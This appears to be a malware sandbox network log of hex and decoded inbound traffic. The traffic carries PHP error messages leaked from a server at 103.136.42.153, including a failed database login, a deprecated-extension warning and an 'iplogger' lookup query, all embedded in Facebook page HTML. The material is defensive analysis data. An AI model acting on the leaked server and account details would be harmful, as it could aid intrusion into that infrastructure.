2022-09-09 16:00:31 UTC	127	IN	Data Raw: 32 30 25 32 30 6d 79 73 71 6c 5f 71 75 65 72 79 28 29 25 32 30 65 78 70 65 63 74 73 25 32 30 70 61 72 61 6d 65 74 65 72 25 32 30 32 25 32 30 74 6f 25 32 30 62 65 25 32 30 72 65 73 6f 75 72 63 65 2c 25 32 30 62 6f 6f 6c 65 61 6e 25 32 30 67 69 76 65 6e 25 32 30 69 6e 25 32 30 25 33 43 62 25 33 45 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 25 33 43 2f 62 25 33 45 25 32 30 6f 6e 25 32 30 6c 69 6e 65 25 32 30 25 33 43 62 25 33 45 37 33 25 33 43 2f 62 25 33 45 25 30 41 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 66 6f 6e 74 25 32 30 63 6f 6c 6f 72 3d 25 32 32 25 32 33 30 30 30 30 30 30 25 32 32 25 33 45 25 30 41 25 Data Ascii: 20%20mysql_query()%20expects%20parameter%202%20to%20be%20resource,%20boolean%20given%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E73%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cfont%20color=%22%23000000%22%3E%0A%
2022-09-09 16:00:31 UTC	128	IN	Data Raw: 35 32 30 64 65 6e 69 65 64 5c 75 30 30 32 35 32 30 66 6f 72 5c 75 30 30 32 35 32 30 75 73 65 72 5c 75 30 30 32 35 32 30 26 23 30 33 39 3b 64 62 6e 65 77 30 31 26 23 30 33 39 3b 5c 75 30 30 34 30 26 23 30 33 39 3b 6c 6f 63 61 6c 68 6f 73 74 26 23 30 33 39 3b 5c 75 30 30 32 35 32 30 28 75 73 69 6e 67 5c 75 30 30 32 35 32 30 70 61 73 73 77 6f 72 64 3a 5c 75 30 30 32 35 32 30 59 45 53 29 5c 75 30 30 32 35 32 30 69 6e 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 5c 2f 77 77 77 5c 2f 77 77 77 72 6f 6f 74 5c 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 5c 2f 73 65 65 6d 6f 72 65 62 74 79 5c 2f 69 6e 63 6c 75 64 65 73 5c 2f 64 61 74 61 62 61 73 65 2e 70 68 70 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 Data Ascii: 520denied\u002520for\u002520user\u002520'dbnew01'\u0040'localhost'\u002520(using\u002520password:\u002520YES)\u002520in\u002520\u00253Cb\u00253E\/www\/wwwroot\/103.136.42.153\/seemorebty\/includes\/database.php\u00253C\/b\u00253E\u0025
2022-09-09 16:00:31 UTC	130	IN	Data Raw: 43 62 72 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 5c 2f 66 6f 6e 74 5c 75 30 30 32 35 33 45 26 71 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 77 77 77 5f 6c 69 73 74 5f 73 65 6c 65 63 74 6f 72 26 71 75 6f 74 3b 2c 20 32 29 3b 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 22 20 74 69 74 6c 65 3d 22 49 74 61 6c 69 61 6e 22 3e 49 74 61 6c 69 61 6e 6f 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 63 6c 61 73 73 3d 22 5f 73 76 34 22 20 64 69 72 3d 22 6c 74 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 70 74 2d 70 74 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 25 33 43 62 72 25 32 Data Ascii: Cbr\u00253E\u00250A\u00253Cbr\u00253E\u00250A\u00253C\/b\u00253E\u00250A\u00253C\/font\u00253E", "www_list_selector", 2); return false;" title="Italian">Italiano</a></li><li><a class="_sv4" dir="ltr" href="https://pt-pt.facebook.com/%3Cbr%2
2022-09-09 16:00:31 UTC	131	IN	Data Raw: 25 35 42 54 45 50 25 32 30 53 54 4f 50 25 35 44 25 33 43 2f 66 6f 6e 74 25 33 45 25 30 41 25 33 43 2f 73 6d 61 6c 6c 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 2f 62 25 33 45 25 30 41 25 33 43 2f 66 6f 6e 74 25 33 45 22 20 6f 6e 63 6c 69 63 6b 3d 22 72 65 71 75 69 72 65 28 26 71 75 6f 74 3b 49 6e 74 6c 55 74 69 6c 73 26 71 75 6f 74 3b 29 2e 73 65 74 43 6f 6f 6b 69 65 4c 6f 63 61 6c 65 28 26 71 75 6f 74 3b 70 74 5f 50 54 26 71 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 65 6e 5f 55 53 26 71 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 70 74 2d 70 74 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 5c 2f 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 Data Ascii: %5BTEP%20STOP%5D%3C/font%3E%0A%3C/small%3E%0A%3Cbr%3E%0A%3Cbr%3E%0A%3C/b%3E%0A%3C/font%3E" onclick="require("IntlUtils").setCookieLocale("pt_PT", "en_US", "https:\/\/pt-pt.facebook.com\/\u00253Cbr\u002520\/\u00253E\u0025
2022-09-09 16:00:31 UTC	133	IN	Data Raw: 6e 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 5c 2f 77 77 77 5c 2f 77 77 77 72 6f 6f 74 5c 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 5c 2f 73 65 65 6d 6f 72 65 62 74 79 5c 2f 69 6e 63 6c 75 64 65 73 5c 2f 64 61 74 61 62 61 73 65 2e 70 68 70 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 32 30 6f 6e 5c 75 30 30 32 35 32 30 6c 69 6e 65 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 37 33 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 66 6f 6e 74 5c 75 30 30 32 35 32 30 63 6f 6c 6f 72 3d 5c 75 30 30 32 35 Data Ascii: n\u002520\u00253Cb\u00253E\/www\/wwwroot\/103.136.42.153\/seemorebty\/includes\/database.php\u00253C\/b\u00253E\u002520on\u002520line\u002520\u00253Cb\u00253E73\u00253C\/b\u00253E\u00250A\u00253Cbr\u002520\/\u00253E\u00250A\u00253Cfont\u002520color=\u0025
2022-09-09 16:00:31 UTC	134	IN	Data Raw: 41 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 25 33 45 57 61 72 6e 69 6e 67 25 33 43 2f 62 25 33 45 3a 25 32 30 25 32 30 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 25 32 30 41 63 63 65 73 73 25 32 30 64 65 6e 69 65 64 25 32 30 66 6f 72 25 32 30 75 73 65 72 25 32 30 26 23 30 33 39 3b 64 62 6e 65 77 30 31 26 23 30 33 39 3b 26 23 30 36 34 3b 26 23 30 33 39 3b 6c 6f 63 61 6c 68 6f 73 74 26 23 30 33 39 3b 25 32 30 28 75 73 69 6e 67 25 32 30 70 61 73 73 77 6f 72 64 3a 25 32 30 59 45 53 29 25 32 30 69 6e 25 32 30 25 33 43 62 25 33 45 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 Data Ascii: A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_pconnect():%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/databas
2022-09-09 16:00:31 UTC	135	IN	Data Raw: 30 69 6e 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 5c 2f 77 77 77 5c 2f 77 77 77 72 6f 6f 74 5c 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 5c 2f 73 65 65 6d 6f 72 65 62 74 79 5c 2f 69 6e 63 6c 75 64 65 73 5c 2f 64 61 74 61 62 61 73 65 2e 70 68 70 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 32 30 6f 6e 5c 75 30 30 32 35 32 30 6c 69 6e 65 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 34 37 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 Data Ascii: 0in\u002520\u00253Cb\u00253E\/www\/wwwroot\/103.136.42.153\/seemorebty\/includes\/database.php\u00253C\/b\u00253E\u002520on\u002520line\u002520\u00253Cb\u00253E47\u00253C\/b\u00253E\u00250A\u00253Cbr\u002520\/\u00253E\u00250A\u00253Cbr\u002520\/\u00253E\u
2022-09-09 16:00:31 UTC	137	IN	Data Raw: 30 74 5f 63 68 61 6e 6e 65 6c 73 5c 75 30 30 32 35 32 30 77 68 65 72 65 5c 75 30 30 32 35 32 30 6e 61 6d 65 3d 26 23 30 33 39 3b 73 65 63 75 72 69 74 65 69 6e 66 6f 2e 63 6f 6d 2e 77 69 6e 33 32 2e 6d 61 6c 77 61 72 65 2d 67 65 6e 2e 33 30 36 37 34 26 23 30 33 39 3b 5c 75 30 30 32 35 32 30 6c 69 6d 69 74 5c 75 30 30 32 35 32 30 30 2c 31 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 73 6d 61 6c 6c 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 66 6f 6e 74 5c 75 30 30 32 35 32 30 63 6f 6c 6f 72 3d 5c 75 30 30 32 35 32 32 5c 75 30 30 32 35 32 33 66 66 30 30 30 30 5c 75 30 30 32 35 32 32 5c 75 30 30 32 Data Ascii: 0t_channels\u002520where\u002520name='securiteinfo.com.win32.malware-gen.30674'\u002520limit\u0025200,1\u00253Cbr\u00253E\u00250A\u00253Cbr\u00253E\u00250A\u00253Csmall\u00253E\u00250A\u00253Cfont\u002520color=\u002522\u002523ff0000\u002522\u002
2022-09-09 16:00:31 UTC	138	IN	Data Raw: 6f 72 3d 25 32 32 25 32 33 30 30 30 30 30 30 25 32 32 25 33 45 25 30 41 25 33 43 62 25 33 45 31 30 34 35 25 32 30 2d 25 32 30 41 63 63 65 73 73 25 32 30 64 65 6e 69 65 64 25 32 30 66 6f 72 25 32 30 75 73 65 72 25 32 30 26 23 30 33 39 3b 64 62 6e 65 77 30 31 26 23 30 33 39 3b 26 23 30 36 34 3b 26 23 30 33 39 3b 6c 6f 63 61 6c 68 6f 73 74 26 23 30 33 39 3b 25 32 30 28 75 73 69 6e 67 25 32 30 70 61 73 73 77 6f 72 64 3a 25 32 30 59 45 53 29 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 73 65 6c 65 63 74 25 32 30 69 70 6c 6f 67 67 65 72 25 32 30 66 72 6f 6d 25 32 30 74 5f 63 68 61 6e 6e 65 6c 73 25 32 30 77 68 65 72 65 25 32 30 6e 61 6d 65 3d 26 23 30 33 39 3b 73 65 63 75 72 69 74 65 69 6e 66 6f 2e 63 6f 6d 2e 77 69 6e 33 32 2e 6d 61 6c 77 61 72 65 Data Ascii: or=%22%23000000%22%3E%0A%3Cb%3E1045%20-%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%3Cbr%3E%0A%3Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='securiteinfo.com.win32.malware
2022-09-09 16:00:31 UTC	140	IN	Data Raw: 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 32 30 6f 6e 5c 75 30 30 32 35 32 30 6c 69 6e 65 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 34 37 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 57 61 72 6e 69 6e 67 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 3a 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 32 30 6d 79 73 71 6c 5f 71 75 65 72 79 28 29 5c 75 30 30 32 35 32 30 65 78 70 65 63 74 73 Data Ascii: \u00253C\/b\u00253E\u002520on\u002520line\u002520\u00253Cb\u00253E47\u00253C\/b\u00253E\u00250A\u00253Cbr\u002520\/\u00253E\u00250A\u00253Cbr\u002520\/\u00253E\u00250A\u00253Cb\u00253EWarning\u00253C\/b\u00253E:\u002520\u002520mysql_query()\u002520expects
2022-09-09 16:00:31 UTC	141	IN	Data Raw: 72 2d 74 72 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 25 33 45 44 65 70 72 65 63 61 74 65 64 25 33 43 2f 62 25 33 45 3a 25 32 30 25 32 30 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 25 32 30 54 68 65 25 32 30 6d 79 73 71 6c 25 32 30 65 78 74 65 6e 73 69 6f 6e 25 32 30 69 73 25 32 30 64 65 70 72 65 63 61 74 65 64 25 32 30 61 6e 64 25 32 30 77 69 6c 6c 25 32 30 62 65 25 32 30 72 65 6d 6f 76 65 64 25 32 30 69 6e 25 32 30 74 68 65 25 32 30 66 75 74 75 72 65 3a 25 32 30 75 73 65 25 32 30 6d 79 73 71 6c 69 25 32 30 6f 72 25 32 30 50 44 4f 25 32 30 69 6e 73 74 65 61 64 25 32 30 69 6e 25 32 30 25 33 43 62 25 33 45 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 Data Ascii: r-tr.facebook.com/%3Cbr%20/%3E%0A%3Cb%3EDeprecated%3C/b%3E:%20%20mysql_pconnect():%20The%20mysql%20extension%20is%20deprecated%20and%20will%20be%20removed%20in%20the%20future:%20use%20mysqli%20or%20PDO%20instead%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/s
2022-09-09 16:00:31 UTC	143	IN	Data Raw: 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 44 65 70 72 65 63 61 74 65 64 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 3a 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 32 30 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 5c 75 30 30 32 35 32 30 54 68 65 5c 75 30 30 32 35 32 30 6d 79 73 71 6c 5c 75 30 30 32 35 32 30 65 78 74 65 6e 73 69 6f 6e 5c 75 30 30 32 35 32 30 69 73 5c 75 30 30 32 35 32 30 64 65 70 72 65 63 61 74 65 64 5c 75 30 30 32 35 32 30 61 6e 64 5c 75 30 30 32 35 32 30 77 69 6c 6c 5c 75 30 30 32 35 32 30 62 65 5c 75 30 30 32 35 32 30 72 65 6d 6f 76 65 64 5c 75 30 30 32 35 32 30 69 6e 5c 75 30 30 32 35 32 30 74 68 65 5c 75 30 30 32 35 32 30 66 75 Data Ascii: r\u002520\/\u00253E\u00250A\u00253Cb\u00253EDeprecated\u00253C\/b\u00253E:\u002520\u002520mysql_pconnect():\u002520The\u002520mysql\u002520extension\u002520is\u002520deprecated\u002520and\u002520will\u002520be\u002520removed\u002520in\u002520the\u002520fu
2022-09-09 16:00:31 UTC	144	IN	Data Raw: 43 66 6f 6e 74 5c 75 30 30 32 35 32 30 63 6f 6c 6f 72 3d 5c 75 30 30 32 35 32 32 5c 75 30 30 32 35 32 33 30 30 30 30 30 30 5c 75 30 30 32 35 32 32 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 31 30 34 35 5c 75 30 30 32 35 32 30 2d 5c 75 30 30 32 35 32 30 41 63 63 65 73 73 5c 75 30 30 32 35 32 30 64 65 6e 69 65 64 5c 75 30 30 32 35 32 30 66 6f 72 5c 75 30 30 32 35 32 30 75 73 65 72 5c 75 30 30 32 35 32 30 26 23 30 33 39 3b 64 62 6e 65 77 30 31 26 23 30 33 39 3b 5c 75 30 30 34 30 26 23 30 33 39 3b 6c 6f 63 61 6c 68 6f 73 74 26 23 30 33 39 3b 5c 75 30 30 32 35 32 30 28 75 73 69 6e 67 5c 75 30 30 32 35 32 30 70 61 73 73 77 6f 72 64 3a 5c 75 30 30 32 35 32 30 59 45 53 29 5c 75 30 30 32 35 33 43 62 72 5c 75 Data Ascii: Cfont\u002520color=\u002522\u002523000000\u002522\u00253E\u00250A\u00253Cb\u00253E1045\u002520-\u002520Access\u002520denied\u002520for\u002520user\u002520'dbnew01'\u0040'localhost'\u002520(using\u002520password:\u002520YES)\u00253Cbr\u
2022-09-09 16:00:31 UTC	146	IN	Data Raw: 70 68 70 25 33 43 2f 62 25 33 45 25 32 30 6f 6e 25 32 30 6c 69 6e 65 25 32 30 25 33 43 62 25 33 45 34 37 25 33 43 2f 62 25 33 45 25 30 41 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 25 33 45 57 61 72 6e 69 6e 67 25 33 43 2f 62 25 33 45 3a 25 32 30 25 32 30 6d 79 73 71 6c 5f 71 75 65 72 79 28 29 25 32 30 65 78 70 65 63 74 73 25 32 30 70 61 72 61 6d 65 74 65 72 25 32 30 32 25 32 30 74 6f 25 32 30 62 65 25 32 30 72 65 73 6f 75 72 63 65 2c 25 32 30 62 6f 6f 6c 65 61 6e 25 32 30 67 69 76 65 6e 25 32 30 69 6e 25 32 30 25 33 43 62 25 33 45 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 Data Ascii: php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_query()%20expects%20parameter%202%20to%20be%20resource,%20boolean%20given%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database
2022-09-09 16:00:31 UTC	147	IN	Data Raw: 32 35 30 41 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 57 61 72 6e 69 6e 67 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 3a 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 32 30 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 5c 75 30 30 32 35 32 30 41 63 63 65 73 73 5c 75 30 30 32 35 32 30 64 65 6e 69 65 64 5c 75 30 30 32 35 32 30 66 6f 72 5c 75 30 30 32 35 32 30 75 73 65 72 5c 75 30 30 32 35 32 30 26 23 30 33 39 3b 64 62 6e 65 77 30 31 26 23 30 33 39 3b 5c 75 30 30 34 30 26 23 30 33 39 3b 6c 6f 63 61 6c 68 6f 73 74 26 23 30 33 39 3b 5c 75 30 30 32 35 32 30 28 75 73 69 6e 67 5c 75 30 30 32 35 32 30 70 61 73 73 77 6f 72 64 3a 5c 75 30 30 32 35 32 30 59 45 53 29 5c 75 30 30 32 35 32 30 69 6e 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 Data Ascii: 250A\u00253Cb\u00253EWarning\u00253C\/b\u00253E:\u002520\u002520mysql_pconnect():\u002520Access\u002520denied\u002520for\u002520user\u002520'dbnew01'\u0040'localhost'\u002520(using\u002520password:\u002520YES)\u002520in\u002520\u00253C
2022-09-09 16:00:31 UTC	149	IN	Data Raw: 45 5c 75 30 30 32 35 35 42 54 45 50 5c 75 30 30 32 35 32 30 53 54 4f 50 5c 75 30 30 32 35 35 44 5c 75 30 30 32 35 33 43 5c 2f 66 6f 6e 74 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 5c 2f 73 6d 61 6c 6c 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 5c 2f 66 6f 6e 74 5c 75 30 30 32 35 33 45 26 71 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 77 77 77 5f 6c 69 73 74 5f 73 65 6c 65 63 74 6f 72 26 71 75 6f 74 3b 2c 20 37 29 3b 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 22 20 74 69 74 Data Ascii: E\u00255BTEP\u002520STOP\u00255D\u00253C\/font\u00253E\u00250A\u00253C\/small\u00253E\u00250A\u00253Cbr\u00253E\u00250A\u00253Cbr\u00253E\u00250A\u00253C\/b\u00253E\u00250A\u00253C\/font\u00253E", "www_list_selector", 7); return false;" tit
2022-09-09 16:00:31 UTC	150	IN	Data Raw: 6c 77 61 72 65 2d 67 65 6e 2e 33 30 36 37 34 26 23 30 33 39 3b 25 32 30 6c 69 6d 69 74 25 32 30 30 2c 31 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 73 6d 61 6c 6c 25 33 45 25 30 41 25 33 43 66 6f 6e 74 25 32 30 63 6f 6c 6f 72 3d 25 32 32 25 32 33 66 66 30 30 30 30 25 32 32 25 33 45 25 35 42 54 45 50 25 32 30 53 54 4f 50 25 35 44 25 33 43 2f 66 6f 6e 74 25 33 45 25 30 41 25 33 43 2f 73 6d 61 6c 6c 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 2f 62 25 33 45 25 30 41 25 33 43 2f 66 6f 6e 74 25 33 45 22 20 6f 6e 63 6c 69 63 6b 3d 22 72 65 71 75 69 72 65 28 26 71 75 6f 74 3b 49 6e 74 6c 55 74 69 6c 73 26 71 75 6f 74 3b 29 2e 73 65 74 43 6f 6f 6b 69 65 4c 6f 63 61 6c 65 28 26 71 75 Data Ascii: lware-gen.30674'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%22%3E%5BTEP%20STOP%5D%3C/font%3E%0A%3C/small%3E%0A%3Cbr%3E%0A%3Cbr%3E%0A%3C/b%3E%0A%3C/font%3E" onclick="require("IntlUtils").setCookieLocale(&qu
2022-09-09 16:00:31 UTC	152	IN	Data Raw: 70 65 63 74 73 5c 75 30 30 32 35 32 30 70 61 72 61 6d 65 74 65 72 5c 75 30 30 32 35 32 30 32 5c 75 30 30 32 35 32 30 74 6f 5c 75 30 30 32 35 32 30 62 65 5c 75 30 30 32 35 32 30 72 65 73 6f 75 72 63 65 2c 5c 75 30 30 32 35 32 30 62 6f 6f 6c 65 61 6e 5c 75 30 30 32 35 32 30 67 69 76 65 6e 5c 75 30 30 32 35 32 30 69 6e 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 5c 2f 77 77 77 5c 2f 77 77 77 72 6f 6f 74 5c 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 5c 2f 73 65 65 6d 6f 72 65 62 74 79 5c 2f 69 6e 63 6c 75 64 65 73 5c 2f 64 61 74 61 62 61 73 65 2e 70 68 70 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 32 30 6f 6e 5c 75 30 30 32 35 32 30 6c 69 6e 65 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 Data Ascii: pects\u002520parameter\u0025202\u002520to\u002520be\u002520resource,\u002520boolean\u002520given\u002520in\u002520\u00253Cb\u00253E\/www\/wwwroot\/103.136.42.153\/seemorebty\/includes\/database.php\u00253C\/b\u00253E\u002520on\u002520line\u002520\u00253Cb
2022-09-09 16:00:31 UTC	153	IN	Data Raw: 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 25 33 43 2f 62 25 33 45 25 32 30 6f 6e 25 32 30 6c 69 6e 65 25 32 30 25 33 43 62 25 33 45 34 37 25 33 43 2f 62 25 33 45 25 30 41 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 25 33 45 57 61 72 6e 69 6e 67 25 33 43 2f 62 25 33 45 3a 25 32 30 25 32 30 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 25 32 30 41 63 63 65 73 73 25 32 30 64 65 6e 69 65 64 25 32 30 66 6f 72 25 32 30 75 73 65 72 25 32 30 26 23 30 33 39 3b 64 62 6e 65 77 30 31 26 23 30 33 39 3b 26 23 30 36 34 3b 26 23 30 33 39 3b 6c 6f 63 61 6c 68 6f 73 74 26 23 30 33 39 3b 25 32 30 28 75 73 69 6e 67 25 32 30 Data Ascii: .136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_pconnect():%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20
2022-09-09 16:00:31 UTC	154	IN	Data Raw: 74 68 65 5c 75 30 30 32 35 32 30 66 75 74 75 72 65 3a 5c 75 30 30 32 35 32 30 75 73 65 5c 75 30 30 32 35 32 30 6d 79 73 71 6c 69 5c 75 30 30 32 35 32 30 6f 72 5c 75 30 30 32 35 32 30 50 44 4f 5c 75 30 30 32 35 32 30 69 6e 73 74 65 61 64 5c 75 30 30 32 35 32 30 69 6e 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 5c 2f 77 77 77 5c 2f 77 77 77 72 6f 6f 74 5c 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 5c 2f 73 65 65 6d 6f 72 65 62 74 79 5c 2f 69 6e 63 6c 75 64 65 73 5c 2f 64 61 74 61 62 61 73 65 2e 70 68 70 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 32 30 6f 6e 5c 75 30 30 32 35 32 30 6c 69 6e 65 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 34 37 5c 75 30 30 32 35 33 Data Ascii: the\u002520future:\u002520use\u002520mysqli\u002520or\u002520PDO\u002520instead\u002520in\u002520\u00253Cb\u00253E\/www\/wwwroot\/103.136.42.153\/seemorebty\/includes\/database.php\u00253C\/b\u00253E\u002520on\u002520line\u002520\u00253Cb\u00253E47\u00253
